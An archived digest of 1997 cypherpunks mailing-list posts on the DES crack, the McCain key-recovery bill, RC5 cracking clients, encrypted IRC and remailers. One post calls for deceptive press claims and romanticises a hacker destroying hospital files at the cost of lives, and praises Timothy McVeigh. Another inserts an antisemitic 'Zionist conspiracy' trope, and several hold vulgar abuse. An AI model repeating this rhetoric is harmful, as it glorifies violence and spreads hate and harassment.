In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706220010.UAA25001@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "sameer" == sameer  <sameer@c2.net> writes:

sameer> 	Not at all surprising, considering the wording of
sameer> Rocke's press release.

Surely you refer to the lack of a commercial spin in Rocke's press
release.  Or maybe we should have also sung the praises of C2Net's
"uncompromised Internet security software"?

The crack of the DES Challenge Key is important.  Presenting an
accurate description of what happened is just as important.  There is
no need to cause widespread panic, yet.  This is a shot across the
proverbial bow.

Trying to present it to the public at large is a difficult
proposition, and not something that can easily be covered in the sorts
of soundbyte-driven news reports seen on shows like Headline News.  I
know, I've been trying to talk about the meaning of DESCHALL to
business managers and Regular People for more than three months.

What we should be doing is encouraging discussion of the meaning and
significance of what we've done, the sort of thing that will lead to
the kinds of in-depth reports that will accurately tell Joe Citizen
exactly what all of this means.

- -matt


>> I caught the Headline News mention of the DES crack and it
>> unfortunately put the wrong spin on things.
>> 
>> I can't remember it word for word, but it went like this: "If
>> you're going to decrypt financial transactions you'd better be
>> prepared to get 1000 computers and spend 3 months on the project."
>> 
>> The report was delivered with a hint of a smile, as if to suggest
>> that the time and resources might have been better spent.
>> 
>> *Sigh*
>> 
>> 


sameer> -- Sameer Parekh Voice: 510-986-8770 President FAX:
sameer> 510-986-8777 C2Net http://www.c2.net/ sameer@c2.net

- -- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!  DES has fallen! http://www.frii.com/~rcv/deschall.htm


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBM6xtTn6R34u/f3zNAQEq3Qf+IjX54s2tLK8IqUzVlk9TYtTsgyvK0cZG
hlNHKhqS/Ps7+P3bqiAajl8aSYot1JEZP0IWVXMFScJ3YJMWjUQqLCWJxzHG/bM9
iVSeZ7C4jJu82Hc3Ojogel4rO0tQTkcmdImNZhKzHUjEO0hGcftSO6AkhKbgpyIz
FNEG0+L0hHvSc58fFhjeIM9Z8Lo9ft6ibXYQfCMgO8Nq9ITG9ADvWXIskAYZKLyG
wrjxjaQaUtAMpHpC452JvkGFQE5x5HF6n2p1ifh7C7G3JUlB9Aci/WJtkz9vZEf3
bXLLjw68p3RrstZ48ZT6Zq62GU72Sua97URz7Xyz1be2ZkyMPySRWw==
=ro2d
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 22 Jun 1997 11:49:00 +0800
To: cypherpunks@Algebra.COM
Subject: McCain Talks Crypto
Message-ID: <3.0.2.32.19970621204242.04307430@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



This guy needs to connect to a clue server soon before it is too late...


http://www.wired.com/news/politics/story/4588.html           

           McCain Talks Crypto
           by Todd Lappin 

           6:04pm  20.Jun.97.PDT Just got off the phone with Senator
           John McCain. 

           It has been a big week for the Republican from
           Arizona. On Monday, he and Senator Bob Kerrey
           (D-Nebraska) dropped a bomb on the encryption
           debate. They introduced S909, the Secure Public
           Networks Act, a bill that would write into law most of
           the Clinton administration's encryption policy -
           leviathan key recovery system, continued restraints
           on exporting strong encryption, the whole bit. Then,
           leveraging his chairmanship of the Senate
           Commerce Committee, he pushed the bill onto a
           legislative fast track. Despite the fact that his bill cuts
           the legs from under Pro-CODE - a bill by Montana
           Republican Conrad Burns that would scrap the
           export controls - McCain said he's eager to negotiate
           on the issues. 

           Here are the highlights of our 5-minute conversation
           - during which a certain two-word term was repeated
           again and again. Let's see if you can spot it. 

           On the rationale behind S909:
           "I've always said that national security is a primary
           concern - and based on my own experience [nearly
           six years as a Vietnam POW], I've had a lot of time to
           consider how important that really is." 

           On the software industry:
           "Frankly, I'm somewhat surprised that the software
           industry would be so willing to downplay the dangers
           of child porn.... This stuff is out there, and we can't
           allow child pornographers to hide by encrypting that
           material." 

           "... I'm astonished that any industry would consider
           their priorities to be so important that they override
           national security concerns." 

           On the rival Pro-CODE bill:
           "I'm all for Pro-CODE - except for its impact on
           national security. 

           On the future:
           "I promise you, now that we've adopted this
           legislation, we will sit down and work this out with all
           the parties involved. As I've said before, from a
           practical standpoint, we can't override a presidential
           veto. With this bill, we've established that the
           president of the United States has authority over
           national security." 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 10:27:05 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <199706220217.WAA08245@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
> On Fri, Jun 20, 1997 at 04:50:16PM -0700, Declan McCullagh wrote:
> > Statements similar to yours have been made so many times, scolding
> > "extremists" for "not being realistic." I seem to remember something about
> > extremism in defense of liberty being no vice, and moderation no virtue.
> > Either way, if you compromise, you don't get what you want. That is
> > absolutely obvious. So why compromise?
> 
> Because half a million dollars is better than no dollars? Because in
> real life the vast majority of choices are not binary? 

  "Give me half my freedom, or hurt me bad."
                      - Negotiator Crispin
 
> The real question is: What is the most *effective* way for achieving
> your ends.

  "Give me compromise, or I will give you death."
                           - Prosecutor Crispin


  Wasn't someone named Crispin one of the original signers of 
the "Declaration of Wishing We Weren't Oppressed"?

Half-TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 10:30:33 +0800
To: cypherpunks@toad.com
Subject: Career non-criminal
Message-ID: <199706220222.WAA09189@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



>From News of the Weird:

* The New York Times reported in December that Odell Sheppard,
a "middle-aged handyman," had just passed his ninth consecutive
year of incarceration in Cook County Jail in Chicago, even though
he has not been charged with a crime.  He was sent to jail for
failing to reveal the whereabouts of his daughter Deborah, who was
the subject of a child-custody dispute between Sheppard and
Deborah's mother, but Sheppard maintains he has no idea where
the girl is.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "\"RC5 Crackhead\"" <rc5@dev.null>
Date: Sun, 22 Jun 1997 12:49:59 +0800
To: cmcurtin@research.megasoft.com
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <33ACABDA.1FC4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



C Matthew Curtin wrote:

> The crack of the DES Challenge Key is important.  Presenting an
> accurate description of what happened is just as important.  There is
> no need to cause widespread panic, yet.  This is a shot across the
> proverbial bow.

  Screw presenting an accurate description.
  The test mode of the software indicates my machine will check about
80,000 keys/sec. In actuality, since I am running other programs as
I use it, it checks about 5,000 keys/sec.
  Using my machine as an example of the average efficiency of all
the 1,000 machines, one could thus estimate that the crack could have 
succeeded in about 90 days using one machine.

  So why not put out a press report making this claim? Headline News
would probably snap it up!
  The problem is that most people working to fight censorship and
oppression have this thing about wearing white hats and honesty and
all of that crap. Meanwhile, those working to censor and oppress
others to enhance their own power and finances are content to twist
the facts to fit their desires. And since they do have money and
power, their voice gets heard quite easily by the major media.

  Thus the people in Waco died because of a "mistake" and the 
people in OKC died because of a "monster."
  Thus the Netscape problem was a "bug" that needs fixing instead
of a wake-up call that if the government is allowed to require
programmers to build surveillance capabilities into our software,
then unknown others are going to take advantage of those built-in
capabilities. And thus those who uncover the compromising of our
privacy will be called "blackmailers" and "terrorists" by the
very people who intentionally wrote their software to support
the Clipper chip, or GAK, or the Next Step in fascism.
  Thus the DES crack was a monumental effort by a plethora of
computer gurus using a massive amount of computers, instead of
a mostly disorganized effort by a variety of people doing it as
an exercise in their spare time, and using the scraps from the
CPU tables of those participating.


  "Everybody knows that the boat is sinking.
   Everybody knows that the captain lied."
                  - Lou Reed

  In the end, the media gets away with feeding us lies because
that is what we want to hear.
  Everyone who wants to believe that they might wake up in the
morning with 800 law enforcement agents surrounding them because
of their religious beliefs, raise your hand.
  Everyone who wants to believe that if they blindly go along 
with all manner of injustice and justify it as "the way the
system works" that they need to fear personal reprisal, raise 
your hand.
  Everyone who wants to believe that every time you use your
computer over a phone line others can access your files, raise
your hand.
  Everyone who wants to believe that the government is perfectly
willing to compromise the security and privacy of your financial
transactions in order to stifle crypto development that won't
allow them fascist control over all information, raise your 
hand.

  "Everybody knows that the war is over.
   Everybody knows that the good guys lost."
                - Lou Reed

  I truly believe this, but it does not mean I won't continue
to work on the RC5 crack and continue to take small, halting
steps against the wind of middle-class fascism sweeping the 
country. I will continue to do so because I also believe that
the end of any war is the beginning of the next revolution.
  When Timothy McCypherpunk hacks a government hospital because
of weak security and because of weak encryption is able to
destroy their files, then I am sure that lives will be lost.
Even children's lives, perhaps.
  I am equally certain that he/she will be called a "blackmailer"
and a "terrorist" and a "monster." Why? Because the word
"revolutionary" is too scary.

  We can only have so many Waco's, just like we could only have
so many Kent State's, before people begin backing the "terrorists"
instead of the government.
  Louis Riel, a Canadian Metis (French-Indian) was hung as a
terroist murderer, and now there are statues honoring him
and government buildings bearing his name.
  We can hang Timothy McVeigh and Jim Bell and the Netscape
"blackmailer" but we can't guarantee that there won't be
a statue of them in the town square fifty years from now.

  When the information counter-revolution comes, remember that 
I started writing about it before Tim May began posting to
the hallowed cypherpunk archives. (a cheap shot, but a *good*
one, eh?)
http://bureau42.base.org/public/xenix
http://bureau42.base.org/public/webworld

RC5CrackHead





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 22 Jun 1997 16:15:30 +0800
To: nelson@media.mit.edu (Nelson Minar)
Subject: Re: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970622005702.03095848@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:31 PM 6/21/97 -0400, Nelson Minar wrote:
>I don't know any more what mailing lists I should use. Coderpunks?
>Cryptography? Cypherpunks? DCSB?

I'd posted my mail to cypherpunks and cryptography,
so I'm forwarding yours there.

>It already exists. IRC includes the "DCC" protocol - direct client to
>client communication. It's mostly for exchange of files (read:
>pornography), but you can also use it for chat or, even better,
>encrypted chat. It's like a /msg except that the servers are never
>involved, it's directly between two clients.
>
>The DCC stuff isn't very standardized, so I don't know how
>interoperable it all is. I believe that IRCII, the Unix client, has
>something in it along the lines of DES with secret keys.
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 13:25:22 +0800
To: cypherpunks@toad.com
Subject: Re: McCain Talks Crypto
Message-ID: <199706220513.BAA13427@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen wrote:
>            Here are the highlights of our 5-minute conversation
>            - during which a certain two-word term was repeated
>            again and again. Let's see if you can spot it.
> 
>            On the rationale behind S909:
>            "I've always said that ZIONIST CONSPIRACY is a primary
>            concern 
> 
>            On the software industry:
>            "Frankly, I'm somewhat surprised that the software
>            industry would be so willing to downplay the dangers
>            of ZIONIST CONSPIRACY
> 
>            On the rival Pro-CODE bill:
>            "I'm all for Pro-CODE - except for its impact on
>            ZIONIST CONSPIRACY.
> 
>            On the future:
>            "With this bill, we've established that the
>            president of the United States has authority over
>            ZIONIST CONSPIRACY."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 22 Jun 1997 16:36:17 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: A site idea
In-Reply-To: <Pine.SOL.3.91.970621085711.11806A-100000@hardy.ocs.mq.edu.au>
Message-ID: <3.0.2.32.19970622012113.030acc68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The original posting was right on target for the cypherpunks list.


>> I was hoping to collect information on setting up anon remailers of 
>> various types and compiling links and articles for the site. Can anybody 
>> point me in the right direction ? 

>Raph Levine <sp? There are two, one levine and one levein and I always 
>confuse the two) is the remailer god, check out his pages for some 
>information.

Levien ... Raph Levien.  

The list of operating status of current remailers
is at http://www.cs.berkeley.edu/~raph/remailer-list.html .
The Mixmaster remailer list is at
http://www.obscura.com/~loki/remailer/mixmaster-faq.html.
Some more good places to look are the cypherpunks archives at
http://infinity.nus.sg/cypherpunks/	(raw mailing list traffic ...)
and http://www.oberlin.edu/~brchkind/cyphernomicon/
 ( Tim May's Cyphernomicon (a bit old, so there's been more remailer
work done since then, but it's very good about a lot of subjects.)

There are probably some other good remailer archives.

Also, as with many things, AltaVista can tell you lots about remailers.
Not in any particular order, but lots :-)

I haven't updated my pages on www.idiom.com/~wcs/remailer in a year or so,
but it was a good rant for the times; I ran a remailer for a while before
it got SPAMMED to death.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 22 Jun 1997 16:36:18 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: [FLAMING ON THE LIST]
In-Reply-To: <Pine.SOL.3.91.970621085711.11806A-100000@hardy.ocs.mq.edu.au>
Message-ID: <3.0.2.32.19970622012406.03096104@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:17 PM 6/21/97 +0000, Paul Bradley wrote:
>Cypherpunks is totally uncensored and there are no rules for posting, you 
>won`t get flamed for posting off topic, unless you are censorous, for a 
>good short idea of what cypherpunks is all about read Tim's "a cypherpunk 
>manifesto" or his cyphernomicon.

While it _is_ totally uncensored again, it's the Net, you can be
flamed for anything, so you have to decide what level of annoyance
to ignore and what level to make you give up.  

In the case of Cypherpunks, there are a few consistent flamers who will 
not only flame you for everything you post, but will also reply to your post
with a flame against Gilmore and Sameer :-)  Flaming back doesn't make them
go away (one of them has even started roboposting flames to the list
in response to his other flames), but Eudora or procmail filters make 
them vanish almost entirely.....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 22 Jun 1997 17:42:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Garbled in transmission
Message-ID: <199706220936.CAA00423@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



>[...]
>  "Everybody knows that the boat is sinking.
>   Everybody knows that the captain lied."
>                  - Lou Reed
>[...]
> "Everybody knows that the war is over.
>  Everybody knows that the good guys lost."
>                - Lou Reed
>[...]

Umm, no.  Leonard Cohen actually.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@miranova.com>
Date: Sun, 22 Jun 1997 18:56:43 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <Pine.GSO.3.95.970621130236.21966B-100000@ece>
Message-ID: <m2en9uncbo.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson <randerso@ece.eng.wayne.edu> writes:

> On Sat, 21 Jun 1997, Roy M. Silvernail wrote:

>> Please elaborate, as I can't see _any_ problem with eliminating 90% of
>> the sitting legislature.

> You've completely missed my point.  This would be an on-going problem.
> Congress can only function with some idea of compromise in it.

Then Congress should be eliminated.  There is no excuse for the CDA
rider and my (now ex-)representative who voted for that bill was
voted into office on a campaign of ending politics-as-usual sorts of
things like that.

Bah!  Good riddance to bad rubbish to the whole lot of them.  Tim May
is right.  I don't wish compromise, I only wish to be left alone.  Why
is that so hard for people in Washington DC to understand?

Right now I have two senators: Dianne "No problem giving government
contract money illegally to my husband" Swinestein and Barbara "No
money in my checking account? I guess I'll just have to write another
one" Boxer and congressional representative Walter "I cannot think of
any government program which should be eliminated" Capps.

The American government is broken.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Sun, 22 Jun 1997 18:45:18 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: <Pine.BSI.3.95.970622053011.19903A-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 21 Jun 1997, Bill Stewart wrote:

> >Robert Hettinga <rah@shipwright.com> writes:
> >>Is there an encrypted IRC available?
> >>If not, shouldn't there be?
> >>Is such a thing even possible?
> 
> You'd have to think about what you wanted it to do,
> but it should be quite doable.  IRC is normally for sharing
> conversations between an amorphous, changing bunch of people,
> which isn't really a standard thing to do with crypto.  

Actually a simple form of encryption is available. There is a plug-in to
eggdrop called wire. I have used it in my eggdrop bot on #remailop and it
has worked well. Basically you log into the bot with a /dcc chat and then
execute .wire <key> where <key> is a mutually agreed upon key. Then to
send encrypted chats to others that have connected with the same key, each
line that you type needs to be preceded with a ";". I'll fire it up if you
want to look at it. Go to any EFnet server, check in and then go to
channel #remailop. Say hello to rops and then check in. I believe it uses
the crypt(3) function for encryption.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sun, 22 Jun 1997 13:42:00 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706161604.LAA19766@mailhub.amaranth.com>
Message-ID: <33b4b98b.93491988@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 97 11:00:57 -0500, you wrote:

>Has Lynx been ported to the Mac? You might want to just write your own. If
>your not intrested in all the N$ crap (frames, animated Gifs, cookies,
>...) it is really quite easy code to write a few socket calls and parsing
>of some text. I wrote one over a weekend that handles 99% of my web
>browsing needs.

  http://lynx.browser.org says there is a Mac version in Beta test
right now.

  I'm currently using Opera v2.12 which uses alot less memory than
Netscape, but I don't know how 'secure' it is. I'm download the win32
port of Linx right now to give it a try.

  Brian


----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 22 Jun 1997 21:36:26 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Diffie-Hellman
In-Reply-To: <199706220954.LAA11884@basement.replay.com>
Message-ID: <Pine.A41.3.95.970622072104.87290A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 22 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Tim C. Mayflower's forgeries get stuck up his ass so 
> he'll have to shit through his filthy mouth for the rest of 
> its miserable life.
> 
>           .oooO           Oooo.
>           (   )   _   _   (   )
>            \ (   / ) ( \   ) /
>         ----\_)-/ (---) \-(_/---- Tim C. Mayflower
>                (   ) (   )
>                oooO   Oooo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 22 Jun 1997 23:32:07 +0800
To: cypherpunks@toad.com
Subject: Re: [FLAMING ON THE LIST]
In-Reply-To: <3.0.2.32.19970622012406.03096104@popd.ix.netcom.com>
Message-ID: <muaP9D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:
> In the case of Cypherpunks, there are a few consistent flamers who will
> not only flame you for everything you post, but will also reply to your post
> with a flame against Gilmore and Sameer :-)

A pair of lying censorous cocksuckers. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 16:21:05 +0800
To: fabrice@math.Princeton.EDU
Subject: Re: RC5 crack
In-Reply-To: <19970621160629.55632@math.princeton.edu>
Message-ID: <199706220804.JAA05874@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fabrice Planchon <fabrice@math.Princeton.EDU> writes:
> Comme disait Adam Back (aba@dcs.ex.ac.uk):
> > 
> > Been looking at the RC5 crack project.
> > 
> > http://rc5.distributed.net/ has loads of flashy graphics, stats,
> > etc. but no instructions!
> 
> seems they are in the final process of rewriting clients entirely, with
> a new protocol, etc... so they don't bother explaining how the old
> clients work. Still, I agree it sucks.
> 
> here is the best that I found on that subject in the rc5 list archive..
> 
>    rc5.exe -l -a outland.hway.net -a2 rc5proxy.distributed.net -s -k 20
>    jonass@lysator.liu.se
>      
>    -l is logging (writes to a file)
>    -a primary server to use
>    -a2 secondary server
>    -s shows status
>    -k number of blocks to buffer local. The larger number the less you
>    have to be online

The client I have which I downloaded yesterday complains most of those
arguments are illegal.  I think the DOS version and the unix versions
have different usage.

Ben Byer <root@bushing.plastic.crosslink.net> wrote:
> You want to download the "personal proxy", perproxy.  It should be
> available on the same ftp site as the client.  The proxy will buffer
> the keys and the answers for you... you just run the proxy on your
> machine, point it at rc5proxy.distributed.net, and you point your
> client at localhost.

This method works, in case any others are reading and trying this
under unix.  It's still chewing keys this morning.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 22 Jun 1997 22:11:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Party on IRC
Message-ID: <199706221403.JAA05375@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>, on 06/21/97 
   at 02:34 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>>Robert Hettinga <rah@shipwright.com> writes:
>>>Is there an encrypted IRC available?
>>>If not, shouldn't there be?
>>>Is such a thing even possible?

>You'd have to think about what you wanted it to do,
>but it should be quite doable.  IRC is normally for sharing
>conversations between an amorphous, changing bunch of people, which isn't
>really a standard thing to do with crypto.  
>But I can see several basic models:
>0) Just Speak Finnish :-)
>1) Two-person, with Diffie-Hellman key exchange
>2) N-person shared-key - you'd probably use RSA to give the session key
>to each new participant, or use PGP to do it.
>3) N person, one key per sender, shared as above.
>4) Ignore the application layer, and build the crypto as an IPsec tunnel.
>5) Ignore the IRC protocols, and build a similar conversation server
>using web forms and SSL.

Hi Bill,

I have been doing somthing much simpler for providing an encrypted IRC.

Say you have a group of 5-10 crypto-anarchsist who wish to engage in a
secure coversation.

1 of the group runs ircd & sshd on his machine (perferabley the one with
the fastest machine/and or best connection).    

The rest of the group logs into his machine using irc & ssh clients.

All communication is encrypted to the outside world while in "plain text"
to the group.

The best part of this is it requires no modification to the "off the
shelf" software available.

Unfortunatly ssh is not very well known outside the Unix community. There
is an exelent port for OS/2 (freeware) and there is a port to winxx
(shareware) I don't know if a mac port is available.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM60xGY9Co1n+aLhhAQGMKQQAj0x8wIofs/xXUSUtL9yv8BhfiILNElK/
lkVHmMYe84fG9mokkvxQXd90C/AXW5AzX5vSoSrF49DK+5+zMhYv/BKJq3WoT/r2
iNr1gLtpDP3hMY0OGbEdJMf3qXaX+7n8Uqgenzqj8HaiNUCpst2LCVX39I00gFlq
mnzO5BZ+W1w=
=HdWI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 16:20:22 +0800
To: fabrice@math.Princeton.EDU
Subject: why we need source code (was Re: RC5 crack)
In-Reply-To: <19970621160629.55632@math.princeton.edu>
Message-ID: <199706220814.JAA06026@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fabrice Planchon <fabrice@math.Princeton.EDU> writes:
> Comme disait Adam Back (aba@dcs.ex.ac.uk):
> >
> > Also, no source code.
> >
>
> there have been some discussions about that on the list, they seem
> to fair bogus datas sent to the servers. Kind of makes sense, but
> they could at least release the core source without the
> communication protocol...

Yes, and it's inconvenient for a number of reasons:

- those running the rc5 crack don't sign their binaries (presumably
  because they don't use PGP, or don't know what it is or something),
  who knows what you're downloading, virus, disk formatter, what ever.
  If you had source code, you could verify it yourself at least, even
  if there is no signature.

- This problem with taking too few keys, if you had the source, and they
  can't be bothered to write instructions, or even brief usage notes,
  you could at least figure out how to use it from the source

- Having source allows more people to verify it's correctness (saving
  burning keys on subtly flawed code), spot bugs, etc.  Also allows
  others to find speedups.

- The point about stopping bogus keys being submitted, some validity,
  however.

- Another reason I suspect they won't give source is that they want to
  conceal the key from you because they have other ideas about where the
  money should go than perhaps you do.  (They want $1000 for themselves,
  and will give $8000 to project Gutenburg (boring)).

- When I see people worring about concealing protocols, I get this
  urge to insert a tap between the client and server, and post the
  protocol, to remove that worry for them.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 00:41:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: cypherpunks coding challenge
In-Reply-To: <199706220938.KAA06436@server.test.net>
Message-ID: <v03102801afd30380db10@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:38 AM -0700 6/22/97, Adam Back wrote:
>A couple of people have complained of the huge efforts put into
>breaking keys, and of the small efforts invested in cypherpunks code
>writing of late.
>
>Perhaps there is something to this challenge stuff, in terms of
>getting contributors, neatly tabulating results, working up
>enthusiasm etc.
>
>So... how about a code writing challenge, an award for the best
>cypherpunk project every month.  (No monetary prize, just vote on list
>to decide most significant project).
>
>Perhaps a list of how many lines of code.  A hall of fame if you like:
>
>% wc -l `find . -name \*.h -print -o -name \*.c -print`
>
>Eric Young		SSL-eay		101,721 lines
>PGP Inc			pgp30		    (?) lines
>Phil Zimmermann & co	pgp263		 34,891 lines
....

Not to be tedious about this, but why would "lines of code" be an
interesting metric?

I'm reminded of a cartoon showing a Russian factory winning the "greatest
tonnage of screws produced," with a crane lifting a massive, 100 meter long
screw above the factory. The dangers of the wrong metric.

I think we need a few major innovations more than some number of lines of code.

--Tim May

(No, I'm not a programmer. But I've done a few "hacks" which were
interesting and useful, I think. Taking readily available stuff, "BlackNet"
made the concrete point that data havens and anonymous markets already are
possible. Number of lines of code written: zero. The task is to combine
some of the existing tools into new things. Raw lines of code is not
necessarily useful.)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
